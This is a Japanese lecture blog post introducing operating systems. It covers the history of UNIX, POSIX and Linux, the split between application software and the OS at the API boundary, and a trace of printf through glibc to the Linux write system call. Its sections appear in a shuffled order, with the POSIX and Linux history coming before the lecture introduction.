OS/360はメインフレームと呼ばれる、企業の業務処理などを行うコンピュータのために開発されたソフトウェアであり、実行できるのもIBMのコンピュータに限られていました。

AT&T（米国最大手の電話会社、日本のNTTのようなもの）の研究所では、C言語という、特定のCPUに依存した機械語を使わないでプログラムを記述することができるシステム開発言語が開発されると同時に、C言語で記述されたオペレーティングシステム「UNIX」が開発されます。大学などの研究機関ではこのUNIXオペレーティングシステムが普及すると同時に、様々なハードウェア上で実行できるように移植作業が行われました。

オリジナルのUNIXはAT&T UNIXと呼ばれますが、UNIXから派生した亜種には、カリフォルニア大学バークレー校で開発されたBSD UNIXや、サン・マイクロシステムズが開発したSunOS（Solaris）、ヒューレットパッカードが開発したHP-UNIX、MacOSの元になったカーネギーメロン大学で開発されたMachなどがあります。

同じ祖先を参考にして作られたUNIXの亜種たちですが、同じような機能を実装しているにもかかわらずAPIの厳密な共通化は行われておらず、アプリケーションソフトウェアはそれぞれUNIX上で多少の改変を行わなければ実行することができませんでした。

これでは不便である、ということで、IEEE（米国電気工学会）が取りまとめ役となり、厳密なAPIの共通化が行われます。これがPOSIX（Portable Operating System Interface for UNIX）です。

POSIXの登場により、UNIX用に開発されたアプリケーションソフトウェアがほぼ改変なしで流通できるようになり、非常に便利になりました。それと同時に、POSIX規格の誕生の翌年、非常に重要なソフトウェアが思わぬ副産物として誕生します。

以下のネットニュース（掲示板）への投稿を見てください。

From: torvalds@klaava.Helsinki.FI (Linus Benedict Torvalds)
Newsgroups: comp.os.minix
Subject: Gcc-1.40 and a posix-question
Message-ID: <1991Jul3.100050.9886@klaava.Helsinki.FI>
Date: 3 Jul 91 10:00:50 GMT
Hello netlanders,
Due to a project I'm working on (in minix), I'm interested in the posix
standard definition. Could somebody please point me to a (preferably)
machine-readable format of the latest posix rules? Ftp-sites would be
nice.

この文書は1991年にヘルシンキ大学のLinus Torvaldsという学生がPOSIX規格文書の電子版の入手について質問した投稿です。

Linus Torvaldsは、この投稿の後、入手したPOSIXの規格文書を元にして、LinuxというPOSIX互換オペレーティングシステムを開発して、ネット上でフリー配布を始めます。

それまで開発されていたUNIXオペレーティングシステムの亜種は、どれもオリジナルのAT&T UNIXのソースコードを参照して開発されていたため、フリーのものもあったものの、営利企業であるAT&Tの商用ライセンスに依存する部分がありました。それに対してLinuxというオペレーティングシステムは、フリーで参照できるPOSIXの規格文書「のみ」を参照してゼロから開発された、完全にフリーなオペレーティングシステムです。

Linuxのライセンス上の特性と、そのメンテナンスと拡張作業をコミュニティを巻き込んで精力的に続けた（現在も続けている）Linus Torvaldsの人格からLinuxは特にサーバ向けOSとして爆発的に普及します。

コンシューマ向けオペレーティングシステム

大学などの研究機関においてはPOSIX互換のオペレーティングシステムが早い段階から利用されましたが、POSIX規格はコンシューマ市場（専門家でない一般のコンピュータ利用者市場）ではオーバスペックでした。POSIXのフル規格を実装したオペレーティングシステムは、まだ高価だった高機能なコンピュータでしか利用することができません。コンシューマ市場向けには、ディスク管理機能と簡単なプロセス管理機能のみを持った縮小版のオペレーティングシステムが開発されました。それらのオペレーティングシステムはDisk Operating System (略してDOS)とも呼ばれます。CP/MやMS−DOSはこれらディスク管理機能のみを持った縮小版のオペレーティングシステムです。MS-DOSは当時創業して間もないマイクロソフト社が開発したDOSです。IBMのコンシューマ向けコンピュータにOEM採用されたことをきっかけにマイクロソフト社はコンシューマ向けオペレーティング市場の巨大な存在となっていきます。

現在では、多くのコンシューマ向けオペレーティングシステムがPOSIXのフル規格をサポートしています。Linuxはもちろんのこと、MacOSとLinuxをベースに開発されたAndroidもPOSIX互換です。Windowsは厳密にはPOSIX互換ではありませんが、対応するすべての機能を持っています。iPhoneの中に入っているiOSも多くの互換関数を持ちます。

この授業（ブログ）では、オペレーティングシステムの基本としてPOSIX規格で定義されたAPIを概観するとともに、APIとハードウェアの間で働くオペレーティングシステムの機能を紹介していきます。

新幹線は間もなく目的の停車駅に着きそうです。この新幹線「全輪駆動」というすべての車輪にモータをつけて駆動輪とした初めての列車です。全輪駆動では、特定の車両が客車を引っ張る形だったそれまでの列車とは異なる複雑な制御が必要となります。新幹線を制御システムとしてみると、各車両にエンジンをつけたバスが至近距離で縦列走行しているようなものです、お客さんが乗っている車両や乗っていない車両もあるのですから衝突しないように息を合わせるのは大変な作業です。それに加えて、現在は省エネルギーの回生ブレーキなども導入されているといいます。これらのシステムを運用するソフトウェアの開発は大変な作業です。列車と同様の制御複雑化・高機能化は自動車でも起こっており、オペレーティングシステムが広く導入され始めています。このような制御システムに特化した要件（時間に厳密、安全機能は死守しつつ高機能化にも対応できるように）を満たすように設計されたオペレーティングシステムは特にリアルタイムオペレーティングシステムと呼ばれます。このブログのどこかの回でも紹介したいと思っています。

おまけ（Linuxのローレベルシステムコール）

授業では「オペレーティングシステムはAPIとハードウェアの間にあるソフトウェアのことである」と説明しているものの、アプリケーションとオペレーティングシステムを区分するAPIの境界部分はよくよく考えると実は結構あやふやです。

POSIX規格はC言語の関数名とその引数のコレクションとして定義されていますが、バイナリ形式に変換されたアプリケーションプログラムは、どのようにしてオペレーティングシステムの機能を呼び出しているのでしょうか？

ここではPOSIXで標準化された関数の一つである「printf」の実装を追いかけて、流れを見てみたいと思います。

このprintf、その実装をLinuxのソースコードに探しても見つけることができません。実は、実装は「libc」というライブラリの中で行われています。

http://sourceware.org/git/?p=glibc.git;a=blob;f=stdio-common/printf.c

printf関数は単純にvfprintf関数を呼び出すのみで、その実体はvfprintfに書かれています。

http://sourceware.org/git/?p=glibc.git;a=blob;f=stdio-common/vfprintf.c

見てわかるように、printfのほとんどの機能はlibcに実装されています。

printf関数は各種文字列加工を行った後、最終的に「outstring」マクロを呼び出します。 outstringマクロは、「PUT」マクロを呼び出し、PUTマクロは「_IO_sputn」マクロの別名です。

しばらくマクロを追いかけます。「IO_sputn」は以下のヘッダで定義されたIO_XSPUTNのマクロで、その実体は_xsputn関数です。

http://sourceware.org/git/?p=glibc.git;a=blob;f=libio/libioP.h

どんどん追いかけていく（途中は省略）と最終的には

http://sourceware.org/git/?p=glibc.git;a=blob;f=libio/fileops.c

に記述されているマクロの中で「write」関数が呼ばれます。write関数は「システムコール」と呼ばれる基底関数で機械語で直接記述されています。その内容は、「レジスタeaxにwriteシステムコールのID番号である4を代入して、ハードウェア割り込みの0x80番をコールする」というものです。ここからlibcの世界を抜けてLinuxの世界に入ります。

Linux側では、システムコールを受けてID番号に対応する関数が呼ばれます。その対応表が以下のファイルに定義されています。

https://github.com/torvalds/linux/blob/master/arch/x86/syscalls/syscall_32.tbl

最終的に呼び出されるのが、Linuxカーネル内で定義されるこの関数です。

https://github.com/torvalds/linux/blob/master/fs/read_write.c

以上追いかけていったように、POSIX APIの境界からは直接システムコールが呼び出されるわけではなく、libcが機能の大きな部分を担当しています。libcはライブラリであり、メモリ空間上のユーザスペースで動作します（カーネルスペースに実行が移るのはシステムコール以降です）。この部分をオペレーティングシステムの一部として考えるべきかどうかはよくよく考えると悩ましい問題ですが、授業の中では分かりやすさ優先でオペレーティングシステムの一部として教えてしまっています。

授業名は「オペレーティングシステム」で、今回は最初の授業の内容です。

導入

この授業ではオペーレーティングシステムについて学んでいくわけですが、そもそも「オペレーティングシステム」とは何でしょうか？

• パソコンを買うとついてくるもの
• スペック表を見ると書いてあるもの
• パソコンの電源を入れるとタイトル画面が出てくるもの
• 携帯電話向けOSなどで活発な競争を繰り広げているもの

などの説明はできるかもしれませんが、「オペレーティングシステムとは何か？」と改めて問いかけられると、なかなか明確な答えを返すことは難しいのではないかと思います。

モヤモヤとしたオペレーティングシステムのイメージを固めていくために、まずは既存のオペレーティングシステムの名前を次々と挙げてみましょう。

• Windowsシリーズ(8, 7, XP, Vista, 95, NT, 2000, 3.1)
• MacOS
• Linux(debian, redhat, ubuntu)
• iOS
• Android
• BSD
• SunOS(Solaris)
• UNIX(AT&T)
• Tron(若い学生さんでも毎年挙げてくれる人がいてうれしい。「超漢字」を挙げる人も)

皆さんがよく知っているWindowsやMacOSは「コンシューマ向けOS」と呼ばれ、一般的なユーザが使うパソコンに適するように作られているオペレーティングシステムです。

iOSやAndroidなどの「携帯電話向けOS」は、近年進歩著しく商業的にも非常に活況を呈していますね。

Linux, BSD, SunOS, UNIXは「サーバ向けOS」です。みなさんはこれまでこれらの名前はあまり聞いたことがなかったかもしれませんが、gmailなどを使ったことがある人がいれば、ネットワーク越しにこれらオペレーティングシステムを利用している事になります。

ソフトウェアとしてのオペレーティングシステム

更に議論を進めましょう、コンピュータには大きく分けて「ソフトウェア」と「ハードウェア」の部分があります。オペレーティングシステムは「ソフトウェア」の部分に属しますが、みなさんのイメージする「ソフトウェア」はどのようなものがあるでしょうか？

• ワープロソフト
• 表計算ソフト
• ブラウザ
• メディアプレーヤー

これらもソフトウェアですが、これらは特に「アプリケーションソフトウェア」と呼ばれます。カタカナで書くとわかりにくいですが、無理やり和訳すると「応用ソフトウェア」です。

「応用」の対をなす言葉は「基本」です。オペレーティングシステムはこの基本部分に分類されるソフトウェアです。

オペレーティングシステム成立の背景

コンピュータは「ソフトウェア」と「ハードウェア」の部分があり、「ソフトウェア」の部分は「アプリケーション（応用）ソフトウェア」と「オペレーティングシステム（基本ソフトウェア）」に分かれます。しかし、なぜこのような構成が採られるようになったのでしょうか？オペレーティングシステム成立の歴史から探っていきましょう。

オペレーティングシステム以前の時代

ソフトウェアは最初から応用と基本の2部分に分かれていたわけではありません。オペレーティングシステムが用いられるようになった以前の時代では、ソフトウェアは一体であり分かれてはいませんでした。

下は、オペレーティングシステム登場以前のコンピュータの構成を示した図です。A社というコンピュータメーカはAというハードウェアに適したAというソフトウェアを。B社というコンピュータメーカはBというハードウェアに適したBというソフトウェアをそれぞれ開発して出荷していました。

この時代は「Aというハードウェアに対してはAというソフトウェア」「Bというハードウェアに対してはBというソフトウェア」という関係は１対１に固定されていました。ソフトウェアAは、Aというハードウェアに依存して作られているためB社のコンピュータ上では動作しません。というのも、初期の時代のコンピュータの行なっていた仕事はミサイル発射のための弾道計算などであり、このような売り方でも問題は少なかったのです。

オペレーティングシステムが普及した背景には、1980年代に起こった大きな変化があります。下図のソフトウェアを見てください。

これはLotus 1-2-3というソフトウェアで1983年に開発されました。このソフトウェアは一般にも手に入れることができるコンピュータ（当時は高価でしたが）で動作させることができ、複雑なプログラミング作業を必要としないで望んだ計算を実行させることができる「表計算」というアイディアを実装することで、これまでミサイルの弾道計算などに利用されていたコンピュータの計算能力を小さな会社の経理などの飛躍的に広い領域で使うことができるようになりました。

Lotus 1-2-3はソフトウェア製品としては画期的なヒット作となると同時に、コンピュータも便利な道具として広く使われ始めます。Lotus 1-2-3の後を追えとばかりに、ワープロソフトや画像編集ソフトなど現在使われている様々なソフトウェアの原型の多くがこの時期に誕生し、ソフトウェア市場は質・量共に巨大化していきます。

しかしここで問題が起こります。ソフトウェア製品を広く流通させようと思っても、A社のコンピュータのために作ったソフトウェアはB社のコンピュータでは動作しないのです。

オペレーティングシステムのアイディア

1980年代には、現在のソフトウェアの原型となる多種多様なソフトウェアが開発されたのですが、ソフトウェア開発者たちはある事実に気づきます。違うソフトウェアであっても共通部分は案外多いのです。ここで、ソフトウェアで共通する部分をまとめて使いまわす、というアイディアが生まれました。更に開発者たちは、異なるハードウェアのコンピュータであっても、ソフトウェアの視点に立って見ると行わせたい処理の多くは共通である、ということにも気づきます。

ここで以下のようなアイディアが生まれました。

• ソフトウェアを共通の処理を実行する部分（基本ソフトウェア）と個々のソフトウェア独自の処理を実行する部分（応用ソフトウェア）に分離する。
• ハードウェアに依存する処理は基本ソフトウェア部分にプログラミングしておく。
• 応用ソフトウェアから基本ソフトウェアを呼び出すインターフェース（API）は、ハードウェアにかかわらず共通化しておく。

このような構成を採ることで、多様なハードウェアで動作するソフトウェアを容易に開発して流通させることができるようになります。これがオペレーティングシステムの基本的なアイディアです。

改めての問い：オペレーティングシステムとは何か？

これで「オペレーティングシステムとは何か？」という問いに答えることができるようになったと思います。

オペレーティングシステムとは、

• コンピュータ上で動作するソフトウェア

であり、

• アプリケーションソフトウェアとハードウェアの間に存在し
• アプリケーションソフトウェアとは共通化されているAPIによって区分される

部分です。

オペレーティングシステムとは何か？という問いに答えることの難しさは、オペレーティングシステムというソフトウェアは、実は多様（多様なハードウェアに依存して存在するのですから）であり、境界でしか定義できないという点にあります。でも今日の議論でその輪郭をはっきりとさせることができましたね。

オペレーティングシステムをなぜ学ぶのか

「オペレーティングシステム」の日本語名は「基本ソフトウェア」という話をしましたが、「オペレーティング」とは本来は「運用」という意味です。

今日の授業ではオペレーティングシステムとは、APIとハードウェアの間に存在するソフトウェア部分という説明をしましたが、実際には各コンピュータメーカーは、APIという切り口は共通ルールとして守りつつも、コンピュータの性能を引き出すためにオペレーティングシステムをハードウェアと密接に結合させて効率良く「運用する」仕組みをオペレーティングシステムに持たせています。

みなさんは、コンピュータを作る側になる人もいると思いますが、少なくとも仕事をする上で使わない人はいないでしょう。ハードウェアを効率良く運用するように作られているオペレーティングシステムですが、その内容を理解することでより効率よく利用できるようになります。オペレーティングシステムを学ぶことでコンピュータの性能を最大限に引き出して乗りこなせるF-1ドライバーになりましょう。

このブログでは授業では話せないマニアなトピックも取り扱っていく予定です。